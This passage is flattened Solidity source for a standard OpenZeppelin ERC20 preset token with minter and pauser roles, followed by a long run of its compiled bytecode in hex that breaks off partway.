require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/ERC20Burnable.sol pragma solidity ^0.6.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // File: @openzeppelin/contracts/utils/Pausable.sol pragma solidity ^0.6.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/token/ERC20/ERC20Pausable.sol pragma solidity ^0.6.0; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // File: @openzeppelin/contracts/presets/ERC20PresetMinterPauser.sol pragma solidity ^0.6.0; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to aother accounts */ contract ERC20PresetMinterPauser is Context, AccessControl, ERC20Burnable, ERC20Pausable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory name, string memory symbol) public ERC20(name, symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint"); _mint(to, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806370a08231116100f9578063a457c2d711610097578063d539139311610071578063d539139314610888578063d547741f146108a6578063dd62ed3e146108f4578063e63ab1e91461096c576101a9565b8063a457c2d71461077a578063a9059cbb146107e0578063ca15c87314610846576101a9565b80639010d07c116100d35780639010d07c146105fb57806391d148541461067357806395d89b41146106d9578063a217fddf1461075c576101a9565b806370a082311461054b57806379cc6790146105a35780638456cb59146105f1576101a9565b8063313ce567116101665780633f4ba83a116101405780633f4ba83a146104a357806340c10f19146104ad57806342966c68146104fb5780635c975abb14610529576101a9565b8063313ce567146103cb57806336568abe146103ef578063395093511461043d576101a9565b806306fdde03146101ae578063095ea7b31461023157806318160ddd1461029757806323b872dd146102b5578063248a9ca31461033b5780632f2ff15d1461037d575b600080fd5b6101b661098a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f65780820151818401526020810190506101db565b50505050905090810190601f1680156102235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027d6004803603604081101561024757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a2c565b604051808215151515815260200191505060405180910390f35b61029f610a4a565b6040518082815260200191505060405180910390f35b610321600480360360608110156102cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a54565b604051808215151515815260200191505060405180910390f35b6103676004803603602081101561035157600080fd5b8101908080359060200190929190505050610b2d565b6040518082815260200191505060405180910390f35b6103c96004803603604081101561039357600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b4c565b005b6103d3610bd5565b604051808260ff1660ff16815260200191505060405180910390f35b61043b6004803603604081101561040557600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bec565b005b6104896004803603604081101561045357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c85565b604051808215151515815260200191505060405180910390f35b6104ab610d38565b005b6104f9600480360360408110156104c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ddd565b005b6105276004803603602081101561051157600080fd5b8101908080359060200190929190505050610e86565b005b610531610e9a565b604051808215151515815260200191505060405180910390f35b61058d6004803603602081101561056157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb1565b6040518082815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efa565b005b6105f9610f5c565b005b6106316004803603604081101561061157600080fd5b810190808035906020019092919080359060200190929190505050611001565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106bf6004803603604081101561068957600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611032565b604051808215151515815260200191505060405180910390f35b6106e1611063565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610721578082015181840152602081019050610706565b50505050905090810190601f16801561074e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610764611105565b6040518082815260200191505060405180910390f35b6107c66004803603604081101561079057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061110c565b604051808215151515815260200191505060405180910390f35b61082c600480360360408110156107f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111d9565b604051808215151515815260200191505060405180910390f35b6108726004803603602081101561085c57600080fd5b81019080803590602001909291905050506111f7565b6040518082815260200191505060405180910390f35b61089061121d565b6040518082815260200191505060405180910390f35b6108f2600480360360408110156108bc57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611256565b005b6109566004803603604081101561090a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b610974611366565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a225780601f106109f757610100808354040283529160200191610a22565b820191906000526020600020905b815481529060010190602001808311610a0557829003601f168201915b5050505050905090565b6000610a40610a3961139f565b84846113a7565b6001905092915050565b6000600354905090565b6000610a6184848461159e565b610b2284610a6d61139f565b610b1d8560405180606001604052806028815260200161255660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ad361139f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118639092919063ffffffff16565b6113a7565b600190509392505050565b6000806000838152602001908152602001600020600201549050919050565b610b7260008084815260200190815260200160002060020154610b6d61139f565b611032565b610bc7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612454602f913960400191505060405180910390fd5b610bd18282611923565b5050565b6000600660009054906101000a900460ff16905090565b610bf461139f565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610c77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f81526020018061269e602f913960400191505060405180910390fd5b610c8182826119b6565b5050565b6000610d2e610c9261139f565b84610d298560026000610ca361139f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4990919063ffffffff16565b6113a7565b6001905092915050565b610d7e60405180807f5041555345525f524f4c45000000000000000000000000000000000000000000815250600b0190506040518091039020610d7961139f565b611032565b610dd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001806124a56039913960400191505060405180910390fd5b610ddb611ad1565b565b610e2360405180807f4d494e5445525f524f4c45000000000000000000000000000000000000000000815250600b0190506040518091039020610e1e61139f565b611032565b610e78576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061257e6036913960400191505060405180910390fd5b610e828282611bda565b5050565b610e97610e9161139f565b82611da3565b50565b6000600660019054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610f39826040518060600160405280602481526020016125b460249139610f2a86610f2561139f565b6112df565b6118639092919063ffffffff16565b9050610f4d83610f4761139f565b836113a7565b610f578383611da3565b505050565b610fa260405180807f5041555345525f524f4c45000000000000000000000000000000000000000000815250600b0190506040518091039020610f9d61139f565b611032565b610ff7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806126426037913960400191505060405180910390fd5b610fff611f69565b565b600061102a8260008086815260200190815260200160002060000161207390919063ffffffff16565b905092915050565b600061105b8260008086815260200190815260200160002060000161208d90919063ffffffff16565b905092915050565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110fb5780601f106110d0576101008083540402835291602001916110fb565b820191906000526020600020905b8154815290600101906020018083116110de57829003601f168201915b5050505050905090565b6000801b81565b60006111cf61111961139f565b846111ca85604051806060016040528060258152602001612679602591396002600061114361139f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118639092919063ffffffff16565b6113a7565b6001905092915050565b60006111ed6111e661139f565b848461159e565b6001905092915050565b60006112166000808481526020019081526020016000206000016120bd565b9050919050565b60405180807f4d494e5445525f524f4c45000000000000000000000000000000000000000000815250600b019050604051809103902081565b61127c6000808481526020019081526020016000206002015461127761139f565b611032565b6112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806125266030913960400191505060405180910390fd5b6112db82826119b6565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60405180807f5041555345525f524f4c45000000000000000000000000000000000000000000815250600b019050604051809103902081565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061261e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806124de6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffff